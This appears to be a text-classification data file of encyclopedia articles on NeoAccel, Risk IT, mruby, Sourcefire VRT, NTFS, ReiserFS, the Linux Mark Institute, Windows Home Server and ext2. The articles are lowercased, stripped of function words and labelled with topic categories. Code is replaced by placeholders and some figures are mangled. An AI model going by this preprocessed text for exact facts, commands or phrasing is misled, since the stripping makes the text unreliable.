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neoaccel neoaccel multinational company sells computer network security products direct end-user oem relationships company best known ssl vpn-plus product related icaa tssl technology company headquartered san jose california usa development support offices navi mumbai pune india neoaccel founded 2004 former netscaler purchased citrix ceo founder michel susai netscaler developed technology currently accelerates 75 world internet traffic companies like google yahoo aol netscaler purchased citrix 2005 300 million neoaccel financial support venture capital infusions hotmail founder sabeer bhatia inventor prabhu goel 2006 neoaccel raised 4,000,000 baring private equity partners ntt leasing company headquartered san jose california development office navi mumbai india support center pune india sales center beijing jan 2011 neoaccel purchased vmware company holds two main patents secure communications ip based networks neoaccel flagship product ssl vpn-plus company claims fastest vpn available due use icaa tssl technologies product uses ssl transport often categorized ssl vpn although company markets 3rd generation vpn nac-plus companies network access control device released 2007
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Computer security
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risk risk provides end-to-end comprehensive view risks related use information technology similarly thorough treatment risk management tone culture top operational issues risk published 2009 isaca result work group composed industry experts academics different nations coming organizations ernst young ibm pricewaterhousecoopers risk management insight swiss life kpmg risk part business risk—specifically business risk associated use ownership operation involvement influence adoption within enterprise consists it-related events could potentially impact business occur uncertain frequency magnitude creates challenges meeting strategic goals objectives management business risk essential component responsible administration organization due importance overall business risk treated like key business risks risk framework explains risk enables users risk managed key business leaders inside organization technical issue department risk categorised different ways risk framework based principles enterprise risk management standards/frameworks committee sponsoring organizations treadway commission erm iso 31000 way risk could understood upper management risk built around following principles major risk communication flows effective information three domains risk framework listed contained processes three domain process contains number activities process detailed domain maturity model depicted link risk scenarios ultimate business impact needs established understand effect adverse events risk prescribe single method different methods available among risk scenarios hearth risk evaluation process scenarios derived two different complementary ways risk scenarios analysed determining frequency impact based risk factors purpose defining risk response bring risk line overall defined risk appetite organization risk analysis i.e residual risk within risk tolerance limits risk managed according four main strategies combination key risk indicators metrics capable showing organizaztion subject high probability subject risk exceeds defined risk appetite second important document risk practitioner guide made eight sections risk framework complements isaca ’ cobit provides comprehensive framework control governance business-driven information-technology-based it-based solutions services cobit sets good practices means risk management providing set controls mitigate risk risk sets good practices ends providing framework enterprises identify govern manage risk val allows business managers get business value investments providing governance framework val used evaluate actions determined risk management process risk accept factor analysis information risk terminology evaluation process comparison risk processes foreseen iso/iec 27005 standard see risk management risk management methodology risk management iso 27005 framework risk practitioner guide appendix 2 contains comparison iso 31000 risk practitioner guide appendix 4 contains comparison coso
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Computer security
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mruby mruby interpreter ruby programming language intention lightweight easily embeddable project headed yukihiro matsumoto 100 contributors currently working project mruby 1.0 supports ruby 2.1 core ap none standard library well able execute basic ruby code mruby also features bytecode compiler virtual machine well ability easily embedded integrated c c++ code similar manner lua tcl mruby 2.0.0 adds support several ruby 2.x methods beyond ruby 2.1. v2.0.0 also changed variable length bytecode instructions format mruby bytecode embedded c code thus compiled standalone executable mruby also aims compliant iso/iec 30170:2012 standard assuming mruby installed path following program compiled executed running following command terminal mruby includes minimalistic virtual machine used execute mruby bytecode nicknamed ritevm first command compiles ruby code mruby bytecode creating file called test.mrb executed appending -b flag normal interpreter arguments
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Programming language topics
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sourcefire vulnerability research team sourcefire vulnerability research team vrt group network security engineers discovered assessed trends hacking activities intrusion attempts vulnerabilities members sourcefire vrt include clamav team well authors several standard security reference books articles sourcefire vrt also supported resources open source snort clamav communities group focuses developing vulnerability-based rules protect emerging exploits sourcefire customers snort users vrt provided zero-day protection outbreaks malware including conficker netsky nachi blaster sasser zotob nachi among others vrt also delivers rules provide day protection microsoft tuesday vulnerabilities develops official snort rules used sourcefire 3d system develops maintains official rule set snort.org maintains shared object rules distributed various platforms binary format following cisco acquisition sourcefire 2014 vrt combined cisco trac secapps security applications group form cisco talos
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Computer security
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ntfs ntfs new technology file system proprietary journaling file system developed microsoft starting windows nt 3.1 default file system windows nt family ntfs several technical improvements file systems superseded – file allocation table fat high performance file system hpfs – improved support metadata advanced data structures improve performance reliability disk space use additional extensions elaborate security system based access control lists acls file system journaling ntfs supported desktop server operating systems well linux bsd free open-source ntfs driver called ntfs-3g read write functionality macos comes read-only support ntfs disabled-by-default write support ntfs unstable mid-1980s microsoft ibm formed joint project create next generation graphical operating system result os/2 hpfs microsoft disagreed ibm many important issues eventually separated os/2 remained ibm project microsoft worked develop windows nt ntfs hpfs file system os/2 contained several important new features microsoft created new operating system borrowed many concepts ntfs original ntfs developers tom miller gary kimura brian andrew david goebel probably result common ancestry hpfs ntfs use disk partition identification type code 07 using partition id record number highly unusual since dozens unused code numbers available major file systems codes example fat nine one fat12 fat16 fat32 etc. algorithms identifying file system partition type 07 must perform additional checks distinguish hpfs ntfs microsoft released five versions ntfs version number e.g v5.0 windows 2000 based operating system version confused ntfs version number v3.1 since windows xp although subsequent versions windows added new file system-related features change ntfs example windows vista implemented ntfs symbolic links transactional ntfs partition shrinking self-healing ntfs symbolic links new feature file system others new operating system features make use ntfs features already place ntfs v3.0 includes several new features predecessors sparse file support disk use quotas reparse points distributed link tracking file-level encryption called encrypting file system efs ntfs optimized 4 kb clusters supports maximum cluster size 2mb earlier implementations support 64kb maximum ntfs volume size specification support clusters implementations achieve theoretical maximum discussed maximum ntfs volume size implemented windows xp professional clusters partly due partition table limitations example using 64kb clusters maximum size windows xp ntfs volume 256tb minus 64kb using default cluster size 4kb maximum ntfs volume size 16tb minus 4kb vastly higher 128gb limit windows xp sp1 partition tables master boot record mbr disks support partition sizes 2tb multiple guid partition table gpt dynamic volumes must combined create single ntfs volume larger 2tb booting gpt volume windows environment microsoft supported way requires system unified extensible firmware interface uefi 64-bit support ntfs maximum theoretical limit size individual files 16eib minus 1kb totals 18,446,744,073,709,550,592 bytes windows 10 version 1709 windows server 2019 maximum implemented file size 8pb minus 2mb 9,007,199,252,643,840 bytes ntfs journaling file system uses ntfs log logfile record metadata changes volume feature fat provide critical ntfs ensure complex internal data structures remain consistent case system crashes data moves performed defragmentation api allow easy rollback uncommitted changes critical data structures volume remounted notably affected structures volume allocation bitmap modifications mft records moves variable-length attributes stored mft records attribute lists indices directories security descriptors usn journal update sequence number journal system management feature records extend\ usnjrnl changes files streams directories volume well various attributes security settings journal made available applications track changes volume journal enabled disabled non-system volumes hard link feature allows different file names directly refer file contents hard links similar directory junctions refer files instead hard links may link files volume volume mft hard links file metadata change file size attributes one hard link may update others opened hard links originally included support posix subsystem windows nt windows uses hard links support short 8.3 filenames ntfs operating system support needed legacy applications work 8.3 filenames case additional filename record directory entry added 8.3 long file name linked updated together unlike regular hard link ntfs file system limit 1024 hard links file alternate data streams allow one data stream associated filename fork using format filename streamname e.g. text.txt extrastream ntfs streams introduced windows nt 3.1 enable services macintosh sfm store resource forks although current versions windows server longer include sfm third-party apple filing protocol afp products grouplogic extremez-ip still use feature file system small ads named zone.identifier added internet explorer recently browsers mark files downloaded external sites possibly unsafe run local shell would require user confirmation opening user indicates longer want confirmation dialog ads deleted alternate streams listed windows explorer size included file size file copied moved another file system without ads support user warned alternate data streams preserved warning typically provided file attached e-mail uploaded website thus using alternate streams critical data may cause problems microsoft provides tool called streams view streams selected volume starting windows powershell 3.0 possible manage ads natively six cmdlets add-content clear-content get-content get-item remove-item set-content malware used alternate data streams hide code result malware scanners special tools check alternate data streams ntfs compress files using lznt1 algorithm variant lz77 files compressed 16 cluster chunks 4 kb clusters files compressed 64 kb chunks compression algorithms ntfs designed support cluster sizes 4 kb cluster size greater 4 kb ntfs volume ntfs compression available compression reduces 64kb data 60kb less ntfs treats unneeded 4kb pages like empty sparse file clusters—they written allows reasonable random-access times os follow chain fragments however large compressible files become highly fragmented since every chunk smaller 64kb becomes fragment according research microsoft ntfs development team 50–60gb reasonable maximum size compressed file ntfs volume 4kb default cluster block size reasonable maximum size decreases sharply volumes smaller cluster sizes single-user systems limited hard disk space benefit ntfs compression small files 4kb 64kb depending compressibility files smaller approximately 900 bytes stored within directory entry mft flash memory ssd drives head movement delays hard disk drives fragmentation smaller penalty users fast multi-core processors find improvements application speed compressing applications data well reduction space used note ssds sandforce controllers already compress data however since less data transferred reduction i/os compression works best files repetitive content seldom written usually accessed sequentially compressed log files ideal example system files needed boot time drivers ntldr winload.exe bootmgr compressed system may fail boot correctly decompression filters yet loaded later editions windows allow important system files compressed files may compressed decompressed individually via changing advanced attributes drive directory directory tree becoming default files inside although read–write access compressed files mostly transparent microsoft recommends avoiding compression server systems and/or network shares holding roaming profiles puts considerable load processor sparse files files interspersed empty segments actual storage space used applications file looks like ordinary file empty regions seen regions filled zeros sparse file necessarily include sparse zeros areas sparse file attribute means file allowed database applications instance may use sparse files compressed files actual sizes sparse files taken account determining quota limits volume shadow copy service vss keeps historical versions files folders ntfs volumes copying old newly overwritten data shadow copy via copy-on-write technique user may later request earlier version recovered also allows data backup programs archive files currently use file system heavily loaded systems microsoft recommends setting shadow copy volume separate disk windows vista also introduced persistent shadow copies use system restore previous versions features persistent shadow copies however deleted older operating system mounts ntfs volume happens older operating system understand newer format persistent shadow copies windows vista applications use transactional ntfs txf group multiple changes files together single transaction transaction guarantee either changes happen none application outside transaction see changes committed uses similar techniques used volume shadow copies i.e copy-on-write ensure overwritten data safely rolled back clfs log mark transactions still committed committed still fully applied case system crash commit one participants transactional ntfs restrict transactions local ntfs volume also includes transactional data operations locations data stored separate volumes local registry sql databases current states system services remote services transactions coordinated network-wide participants using specific service dtc ensure participants receive commit state transport changes validated participant others invalidate local caches old data rollback ongoing uncommitted changes transactional ntfs allows example creation network-wide consistent distributed file systems including local live offline caches microsoft advises using txf microsoft strongly recommends developers utilize alternative means since txf may available future versions microsoft windows ntfs file folder assigned security descriptor defines owner contains two access control lists acls first acl called discretionary access control list dacl defines exactly type interactions e.g reading writing executing deleting allowed forbidden user groups users example files folder may read executed users modified user holding administrative privileges windows vista adds mandatory access control info dacls dacls primary focus user account control windows vista later second acl called system access control list sacl defines interactions file folder audited whether logged activity successful failed example auditing enabled sensitive files company managers get know someone tries delete make copy whether succeeds encrypting file system efs provides strong user-transparent encryption file folder ntfs volume efs works conjunction efs service microsoft cryptoapi efs file system run-time library fsrtl efs works encrypting file bulk symmetric key also known file encryption key fek used takes relatively small amount time encrypt decrypt large amounts data asymmetric key cipher used symmetric key used encrypt file encrypted public key associated user encrypted file encrypted data stored alternate data stream encrypted file decrypt file file system uses private key user decrypt symmetric key stored file header uses symmetric key decrypt file done file system level transparent user also case user losing access key support additional decryption keys built efs system recovery agent still access files needed ntfs-provided encryption ntfs-provided compression mutually exclusive however ntfs used one third-party tool support efs available basic home mediacenter versions windows must activated installation professional ultimate server versions windows using enterprise deployment tools within windows domains disk quotas introduced ntfs v3 allow administrator computer runs version windows supports ntfs set threshold disk space users may use also allows administrators keep track much disk space user using administrator may specify certain level disk space user may use receive warning deny access user hit upper limit space disk quotas take account ntfs transparent file-compression enabled applications query amount free space also see amount free space left user quota applied introduced ntfs v3 ntfs reparse points used associating reparse tag user space attribute file directory microsoft includes several default tags including symbolic links directory junction points volume mount points object manager parses file system name lookup encounters reparse attribute reparse name lookup passing user controlled reparse data every file system filter driver loaded windows filter driver examines reparse data see whether associated reparse point filter driver determines match intercepts file system request performs special functionality starting windows vista microsoft added built-in ability shrink expand partition however ability relocate page file fragments files marked unmovable shrinking volume often require relocating disabling page file index windows search shadow copy used system restore various third-party tools capable resizing ntfs partitions internally ntfs uses b-trees index file system data although complex implement allows faster file look times cases file system journal used guarantee integrity file system metadata individual files content systems using ntfs known improved reliability compared fat file systems ntfs allows sequence 16-bit values name encoding file names stream names index names etc except 0x0000 means utf-16 code units supported file system check whether sequence valid utf-16 allows sequence short values restricted unicode standard win32 namespace utf-16 code units case insensitive whereas posix namespace case sensitive file names limited 255 utf-16 code units certain names reserved volume root directory used files codice_1 codice_2 codice_3 codice_4 codice_5 codice_6 dot codice_7 codice_8 codice_9 codice_10 codice_11 codice_12 dot extend directories others files nt kernel limits full paths 32,767 utf-16 code units additional restrictions code points file names boot partition format roughly based upon earlier fat filesystem fields different locations fields especially sectors per track number heads hidden sectors fields may contain dummy values drives either make sense determinable os first looks 8 bytes 0x30 find cluster number mft multiplies number number sectors per cluster 1 byte found 0x0d value sector offset lba mft described ntfs file directory metafile data—file name creation date access permissions use access control lists size—are stored metadata master file table mft abstract approach allowed easy addition file system features windows nt development—an example addition fields indexing used active directory software also enables fast file search software locate named local files folders included mft quickly without requiring index mft structure supports algorithms minimize disk fragmentation directory entry consists filename file id record number representing file master file table file id also contains reuse count detect stale references strongly resembles w_fid files-11 ntfs structures radically differ two copies mft stored case corruption first record corrupted ntfs reads second record find mft mirror file locations files stored boot sector ntfs contains several files define organize file system respects files structured like user file volume peculiar direct interest file system clients metafiles define files back critical file system data buffer file system changes manage free space allocation satisfy bios expectations track bad allocation units store security disk space usage information content unnamed data stream unless otherwise indicated metafiles treated specially windows handled directly codice_13 driver difficult directly view special purpose-built tools needed windows 7 ntfs driver completely prohibits user access resulting bsod whenever attempt execute metadata file made one tool nfi.exe ntfs file sector information utility freely distributed part microsoft oem support tools example obtain information mft -master file table segment following command used codice_14 another way bypass restriction use 7-zip file manager go low-level ntfs path codice_15 codice_16 resembles drive/partition 3 new folders appear codice_17 codice_18 pseudo-folder 7-zip uses attach files deleted file system view codice_19 another pseudo-folder contains ntfs metadata files trick used removable devices usb flash drives external hard drives sd cards etc inside windows active partition requires offline access namely winre file directory described mft record linear repository stream descriptors also named attributes packed together one mft records containing so-called attributes list extra padding fill fixed 1 kb size every mft record fully describes effective streams associated file attribute attribute type fixed-size integer mapping attribute definition file attrdef optional attribute name example used name alternate data stream value represented sequence bytes ntfs standard data files alternate data streams index data directories stored attributes according attrdef attributes either resident non-resident data attribute contains file data example attribute resident represented flag value stored directly mft record otherwise clusters allocated data cluster location information stored data runs attribute attributes given file may displayed using nfi.exe ntfs file sector information utility freely distributed part microsoft oem support tools windows system calls may handle alternate data streams depending operating system utility remote file system file transfer might silently strip data streams safe way copying moving files use backupread backupwrite system calls allow programs enumerate streams verify whether stream written destination volume knowingly skip unwanted streams optimize storage reduce i/o overhead common case attributes small associated value ntfs prefers place value within attribute size attribute exceed maximum size mft record instead using mft record space list clusters containing data case attribute store data directly store allocation map form data runs pointing actual data stored elsewhere volume value accessed directly within attribute called resident data computer forensics workers amount data fits highly dependent file characteristics 700 800 bytes common single-stream files non-lengthy filenames acls allocation map stored form data runs compressed encoding data run represents contiguous group clusters store attribute value files multi-gb volume entry encoded 5 7 bytes means 1 kb mft record store 100 data runs however attribute_list also size limit dangerous 1 million fragments single file ntfs volume also implies general good idea use ntfs compression file larger 10gb ntfs file system driver sometimes attempt relocate data attributes made non-resident clusters also attempt relocate data stored clusters back attribute inside mft record based priority preferred ordering rules size constraints since resident files directly occupy clusters allocation units possible ntfs volume contain files volume clusters example 74.5gb partition ntfs formats 19,543,064 clusters 4kb subtracting system files 64mb log file 2,442,888-byte bitmap file 25 clusters fixed overhead leaves 19,526,158 clusters free files indices since four mft records per cluster volume theoretically could hold almost 4 × 19,526,158= 78,104,632 resident files opportunistic file locks oplocks allow clients alter buffering strategy given file stream order increase performance reduce network use oplocks apply given open stream file affect oplocks different stream oplocks used transparently access files background network client may avoid writing information file remote server process accessing data may buffer read-ahead data process writing data windows supports four different types oplocks opportunistic locks enhanced windows 7 windows server 2008 r2 per-client oplock keys windows nt descendants keep internal timestamps utc make appropriate conversions display purposes ntfs timestamps utc historical reasons versions windows support ntfs keep time internally local zone time therefore file systems – ntfs – supported current versions windows means files copied moved ntfs non-ntfs partitions os needs convert timestamps fly files moved daylight saving time dst effect files moved standard time effect ambiguities conversions result especially shortly one days local zone time changes users may observe files timestamps incorrect one hour due differences implementation dst different jurisdictions result potential timestamp error 4 hours given 12 months different ntfs versions part fully forward- backward-compatible technical considerations mounting newer ntfs volumes older versions microsoft windows affects dual-booting external portable hard drives example attempting use ntfs partition previous versions a.k.a volume shadow copy operating system support result contents previous versions lost windows command-line utility called convert.exe convert supporting file systems ntfs including hpfs windows nt 3.1 3.5 3.51 fat16 fat32 windows 2000 later windows 10 version 1709 known fall creators update microsoft requires onedrive file structure reside ntfs disk reparse tag every file directory within local onedrive file structure set recursive manner thus making file folder unusable previous version windows ntfs file system driver file system backup utilities updated support unknown whether recursive linking feature ntfs file system undocumented workaround microsoft support onedrive new files on-demand feature mac os x 10.3 later include read-only support ntfs-formatted partitions gpl-licensed ntfs-3g also works mac os x fuse allows reading writing ntfs partitions performance enhanced commercial version called tuxera ntfs mac also available ntfs-3g developers paragon software group sells read-write driver named ntfs mac os x also included models seagate hard drives native ntfs write support discovered mac os x 10.6 later activated default although workarounds exist enable functionality however user reports indicate functionality unstable tends cause kernel panics probably reason write support enabled advertised linux kernel versions 2.2.0 later include ability read ntfs partitions kernel versions 2.6.0 later contain driver written anton altaparmakov university cambridge richard russon supports file read overwrite resize three userspace drivers ntfsmount ntfs-3g captive ntfs 'wrapping driver uses windows driver ntfs.sys exist ntfs support built filesystem userspace fuse linux kernel module tasked bridging userspace kernel code save retrieve data three licensed terms gnu general public license gpl due complexity internal ntfs structures built-in 2.6.14 kernel driver fuse drivers disallow changes volume considered unsafe avoid corruption two proprietary solutions also exist ecomstation freebsd offer read-only ntfs support beta ntfs driver allows write/delete ecomstation generally considered unsafe free third-party tool beos based ntfs-3g allows full ntfs read write ntfs-3g free implementation ntfs initially developed linux also works macos freebsd netbsd openbsd ntfs-3g available ports solaris qnx haiku fuse free-for-personal-use read/write driver ms-dos avira called ntfs4dos ahead software developed ntfsread driver version 1.200 dr-dos 7.0x 2002 2004 part nero burning rom software openbsd offers native read-only ntfs support default i386 amd64 platforms version 4.9 released 1 may 2011
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Computer file systems
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reiserfs reiserfs general-purpose journaled computer file system initially designed implemented team namesys led hans reiser reiserfs currently supported linux without quota support licensed gplv2 introduced version 2.4.1 linux kernel first journaling file system included standard kernel reiserfs default file system novell suse linux enterprise novell decided move ext3 october 12 2006 future releases namesys considered reiserfs version 3.6 introduced new on-disk format allowing bigger filesizes occasionally referred reiser3 stable feature-complete exception security updates critical bug fixes ceased development concentrate successor reiser4 namesys went business 2008 reiser conviction murder product maintained open source volunteers reiserfsprogs 3.6.27 released 25 july 2017 time introduction reiserfs offered features available existing linux file systems reiserfs stores file metadata stat items directory entries directory items inode block lists indirect items tails files direct items single combined b+ tree keyed universal object id disk blocks allocated nodes tree formatted internal blocks blocks leaf nodes items packed end-to-end formatted leaf blocks blocks unformatted blocks containing file contents directory items many entries indirect items long fit node spill right leaf neighbour block allocation tracked free space bitmaps fixed locations contrast ext2 berkeley ffs-like file systems time simply used fixed formula computing inode locations hence limiting number files may contain file systems also store directories simple lists entries makes directory lookups updates linear time operations degrades performance large directories single b+ tree design reiserfs avoids problems due better scalability properties regarding development filesystem three fields considered separately therefore section contains three tables one 3.5.x series filsystem driver used read write 3.5 on-disk format another one 3.6.x series filsystem driver used read write 3.6 on-disk format third one tools contained codice_1 package since on-disk format 3.6 regarded feature complete stable frozen n't get changed anymore filesystem driver linux part official kernel well codice_1 operating user space still maintained getting updates rarely also new features even nowadays 2019 codice_3 program never fully implemented although attempts year 2014 one reason never finished rise solid state disks ssd – contrary classic spinning wheel hard disk drives hdd – need defragmented precisely n't defragmented unnecessary write operations shorten life ssd compared ext2 ext3 version 2.4 linux kernel dealing files 4 kib tail packing enabled reiserfs may faster said great benefit usenet news spools http caches mail delivery systems applications performance small files critical however practice news spools use feature called cycbuf holds articles one large file fast http caches several revision control systems use similar approach nullifying performance advantages email servers reiserfs problematic due semantic problems explained also reiserfs problem fast filesystem aging compared filesystems — several usage scenarios filesystem performance decreased dramatically time linux 2.6.33 reiserfs heavily used big kernel lock bkl — global kernel-wide lock — scale well systems multiple cores critical code parts ever executed one core time reiserfs default file system suse linux since version 6.4 released 2000 switching ext3 suse linux enterprise 10.2/opensuse 11 announced 2006 jeff mahoney suse wrote post 14 september 2006 proposing move reiserfs ext3 default installation file system reasons mentioned scalability performance problems extended attributes acls small shrinking development community reiser4 incremental update requires reformat unreasonable people october 4 wrote response comment blog order clear issues wrote proposal switch unrelated hans reiser trial murder mahoney wrote concerned people would make connection none existed timing entirely coincidental motivation unrelated directory operations including unlink 2 synchronous reiserfs result data corruption applications relying heavily file-based locks mail transfer agents qmail postfix machine halts synchronized disk programs specifically defragment reiserfs file system although tools written automatically copy contents fragmented files hoping contiguous blocks free space found however repacker tool planned next reiser4 file system deal file fragmentation rise solid state disks problem became irrelevant contrary hard disk drives slow caused fragmentation ssds n't use moving parts even recommended abstain kind defragmentation ssds shorten lifetime tree rebuild process reiserfs fsck attracted much criticism *nix community file system becomes badly corrupted internal tree unusable performing tree rebuild operation may corrupt existing files introduce new entries unexpected contents action part normal operation normal file system check explicitly initiated confirmed administrator reiserfs v3 images stored reiserfs v3 partition e.g. backups disk images emulators without transforming e.g. compressing encrypting order avoid confusing rebuild reformatting existing reiserfs v3 partition also leave behind data could confuse rebuild operation make files old system reappear also allows malicious users intentionally store files confuse rebuilder metadata always consistent state file system check corruption means contents files merged unexpected ways contained file system metadata reiserfs successor reiser4 fixes problem reiserfs versions linux kernel 2.4.16 considered unstable namesys recommended production use especially conjunction nfs early implementations reiserfs prior linux 2.6.2 also susceptible out-of-order write hazards current journaling implementation reiserfs par ext3 ordered journaling level
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Computer file systems
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linux mark institute linux mark institute lmi fully lmi oregon llc organization administers linux trademark behalf linus torvalds computer software includes linux kernel computer hardware utilizing linux-based software services associated implementation documentation linux-based products linux trademark owned linus torvalds u.s. germany e.u. japan computer operating system software facilitate computer use operation assignment trademark torvalds occurred lawsuit attorney william r. della croce jr. boston registered trademark us september 1995 began 1996 send letters various linux distributors demanding ten percent royalties sales linux products petition della croce practices started early 1997 workgroup solutions yggdrasil linux journal linux international torvalds appealed original trademark assignment fraudulent obtained false pretenses november case settled torvalds owned trademark lmi originally charged nominal sublicensing fee use linux name part trademarks later changed favor offering free perpetual worldwide sublicense lmi headquartered monterey california least 2005 since least 2009 headquartered beaverton oregon
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Operating systems
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windows home server windows home server code-named quattro home server operating system microsoft announced 7 january 2007 consumer electronics show bill gates released manufacturing 16 july 2007 officially released 4 november 2007 windows home server based windows server 2003 r2 intended solution homes multiple connected pcs offer file sharing automated backups print server remote access paired windows home server console—client software accessed another computer network provide graphical management interface power pack 1 windows home server released 20 july 2008 power pack 2 released 24 march 2009 power pack 3 released 24 november 2009 windows home server 2011 next version operating system released 6 april 2011 microsoft confirmed windows home server 2011 last release windows home server product line configuration interface designed user-friendly enough could set without prior knowledge server administration configuration interface called home server console delivered remote desktop protocol application remote pcs application ran server gui rendered remote system home server console client application could accessed windows pc server required video card peripherals designed require ethernet card least one windows xp windows vista windows 7 computer windows home server drive extender file-based replication system provided three key capabilities drive extender users could add larger capacity hard disk drives could offline lesser capacity drives upgrade capacity online example user reaching capacity share five terabytes six-terabyte capacity used six one-terabyte drives user could offline one one-terabyte drives physically replace two-terabyte drive whs automatically equalizes redistribution used space across available drives regular basis offline process would compress used data across minimum amount drives allowing removal one lesser capacity drives replaced drive higher capacity system automatically redistribute used capacity among pool ensure space capacity drive users specifically configure family home server dealt storage two levels shared folders disks concepts relevant regarding disks whether added home server storage pool whether disk appeared healthy system contrast windows logical disk manager requires greater degree technical understanding order correctly configure raid array shared folders name description permissions flag indicating whether duplication redundancy folder duplication shared folder default multi-disk home server systems applicable single disk systems files shared folder duplicated effective storage capacity halved however situations user may wanted data duplicated e.g tv shows archived windows home server system running windows media center drive extender provided capability duplicate files server short capacity manually mark complete content store duplication known limitation drive extender cases changed timestamp directories files data moved around disks according microsoft expected behaviour caused unexpected behaviour using clients sort media based date examples xbmc mediaportal squeezebox server aforementioned programs worked fine whs however files may appeared order due caveat 23 november 2010 microsoft announced drive extender would removed windows home server 2011 led public outcry announcement comments section criticism drive extender removal mainly related seen core feature windows home server key reason adoption replacement drive extender microsoft stated oems would use raid windows home server products windows home server computer backup automatically backs computers home server using image-based system ensures point-in-time-based restoration either entire pcs specific files folders complete bare-metal restores initiated restore bootable cd file based restores initiated whs client software allows users open backup drag drop files technology uses volume shadow services vss technology client computer take image based backup running computer backup operates data cluster level single instancing performed minimize amount data travels network ultimately stored home server single instancing gives server ability store one instance data matter data originated another computer another file even data within file computer backup images duplicated server server hard drive fails backups could lost server backup feature added power pack 1 include duplication backup images system also offers ssl secured web browser based interface internet shared file stores release version offers access web interface via free windows live-provided url uses dynamic dns web interface also allows uploading downloading files content stores however limit 2 gb single batch upload system also supports terminal services gateway allowing remote control desktop windows computer home network currently supported systems would normally support remote desktop windows xp professional tablet media center editions windows vista business enterprise ultimate editions windows 7 professional enterprise ultimate editions web interface also supports embedding remote desktop activex control provide remote access home computers within web interface directly remote sessions also connect home server console configure server internet windows home server allows developers publish community commercial add-ins designed enhance windows home server added functionality january 2010 nearly 100 add-ins developed whs including applications antivirus security backups disk management automation media network/power management remote access bittorrent windows home server sdk software development kit provides developers set apis tools use developing extending windows home server windows home server features integration windows xp sp2 newer windows vista windows 7 release power pack 3 software installation either client cd via network share connector software may also installed accessing codice_1 link provided download connector software install troubleshooting tools files stored windows home server also available windows share opening compatibility wide variety operating systems also administration console available via remote desktop allowing administration unsupported platforms windows home server support microsoft security essentials 64-bit windows client support introduced power pack 1 though restore wizard windows home server restore cd unable restore clients running 64-bit operating systems due fact restore cd support 64-bit drivers windows xp professional x64 n't officially supported however unofficial workarounds allow connector software work xp x64 integration file sharing service location mac os x time machine apparently considered upon mac os x leopard release apple removed ability use smb file sharing protocol time machine backups one whs provider hp provides plug-in home server line capable time machine backup home server windows home server officially supported domain controller capability readily join windows server domain wireless networking supported dedicated devices operating system pre-installed may supplied server recovery disk reloads os network connection utilized hp mediasmart server fujitsu siemens scaleo home server first release windows home server rtm release manufacturing suffered file corruption flaw whereby files saved directly edited shares whs device could become corrupted files ntfs alternate data streams susceptible flaw flaw led data corruption server heavy load time file ads saved onto share backups client pcs made windows home server susceptible flaw even though issue first acknowledged october 2007 microsoft formally warned users seriousness flaw 20 december 2007 microsoft issued list applications including windows live photo gallery microsoft onenote microsoft outlook synctoy 2.0 might triggered flaw used edit files whs share directly issue fixed power pack 1 released 21 july 2008 windows home server rtm include mechanism backing server power pack 1 added ability back files stored shared folders external drive users also subscribe 3rd-party online services fee however remains way back installed server operating system backing-up client backup database available either manually using instructions provided microsoft page 24 document done using whs bdbb add-in written alex kuretz available website hardware manufacturers developed dedicated boxes microsoft also released windows home server oem/system builder license november 2008 microsoft lowered price whs system builder sku us 100 users also choose use existing pc build systems would include use whs system builder 23 march 2009 microsoft also made windows home server available msdn microsoft technet subscribers computer systems available bundled windows home server license case versions windows possible request refund license fees paid windows home server
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Computer security
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ext2 ext2 second extended file system file system linux kernel initially designed rémy card replacement extended file system ext designed according principles berkeley fast file system bsd first commercial-grade filesystem linux canonical implementation ext2 ext2fs filesystem driver linux kernel implementations varying quality completeness exist gnu hurd minix 3 bsd kernels mint third-party microsoft windows macos drivers ext2 default filesystem several linux distributions including debian red hat linux supplanted recently ext3 almost completely compatible ext2 journaling file system ext2 still filesystem choice flash-based storage media sd cards usb flash drives lack journal increases performance minimizes number writes flash devices limited number write cycles however recent linux kernels support journal-less mode ext4 provides benefits found ext2 early development linux kernel made cross-development minix operating system minix file system used linux first file system minix file system mostly free bugs used 16-bit offsets internally thus maximum size limit 64 megabytes also filename length limit 14 characters limitations work began replacement native file system linux ease addition new file systems provide generic file api vfs virtual file system layer added linux kernel extended file system ext released april 1992 first file system using vfs api included linux version 0.96c ext file system solved two major problems minix file system maximum partition size filename length limitation 14 characters allowed 2 gigabytes data filenames 255 characters still problems support separate timestamps file access inode modification data modification solution problems two new filesystems developed january 1993 linux kernel 0.99 xiafs second extended file system ext2 overhaul extended file system incorporating many ideas berkeley fast file system ext2 also designed extensibility mind space left many on-disk data structures use future versions since ext2 testbed many new extensions vfs api features withdrawn posix draft acl proposal withdrawn extended attribute proposal generally implemented first ext2 relatively simple extend internals well understood linux kernels prior 2.6.17 restrictions block driver mean ext2 filesystems maximum file size 2 tib ext2 still recommended journaling file systems bootable usb flash drives solid-state drives ext2 performs fewer writes ext3 journaling major aging factor flash chip number erase cycles erase cycles happen frequently writes decreasing writes increases life span solid-state device another good practice filesystems flash devices use noatime mount option reason space ext2 split blocks blocks grouped block groups analogous cylinder groups unix file system typically thousands blocks large file system data given file typically contained within single block group possible done minimize number disk seeks reading large amounts contiguous data block group contains copy superblock block group descriptor table block groups contain block bitmap inode bitmap inode table finally actual data blocks superblock contains important information crucial booting operating system thus backup copies made multiple block groups file system however typically first copy found first block file system used booting group descriptor stores location block bitmap inode bitmap start inode table every block group turn stored group descriptor table every file directory represented inode term inode comes index node time became i-node inode inode includes data size permission ownership location disk file directory example ext2 inode structure quote linux kernel documentation ext2 pointers first 12 blocks contain file data inode pointer indirect block contains pointers next set blocks pointer doubly indirect block pointer trebly indirect block thus structure ext2 15 pointers pointers 1 12 point direct blocks pointer 13 points indirect block pointer 14 points doubly indirect block pointer 15 points triply indirect block directory list directory entries directory entry associates one file name one inode number consists inode number length file name actual text file name find file directory searched front-to-back associated filename reasonable directory sizes fine large directories inefficient ext3 offers second way storing directories htree efficient list filenames root directory always stored inode number two file system code find mount time subdirectories implemented storing name subdirectory name field inode number subdirectory inode field hard links implemented storing inode number one file name accessing file either name results inode number therefore data special directories current directory .. parent directory implemented storing names .. directory inode number current parent directories inode field special treatment two entries receive automatically created new directory made deleted new file directory created ext2 must decide store data disk mostly empty data stored almost anywhere however clustering data related data minimize seek times maximize performance ext2 attempts allocate new directory group containing parent directory theory accesses parent children directories likely closely related ext2 also attempts place files group directory entries directory accesses often lead file accesses however group full new file new directory placed non-full group data blocks needed store directories files found looking data allocation bitmap needed space inode table found looking inode allocation bitmap reason limits ext2 file format data operating system kernel mostly factors determined file system built depend block size ratio number blocks inodes linux block size limited architecture page size also userspace programs handle files larger 2 gib b block size maximum file size limited min b /4 b /4 b /4+12 b 2-1 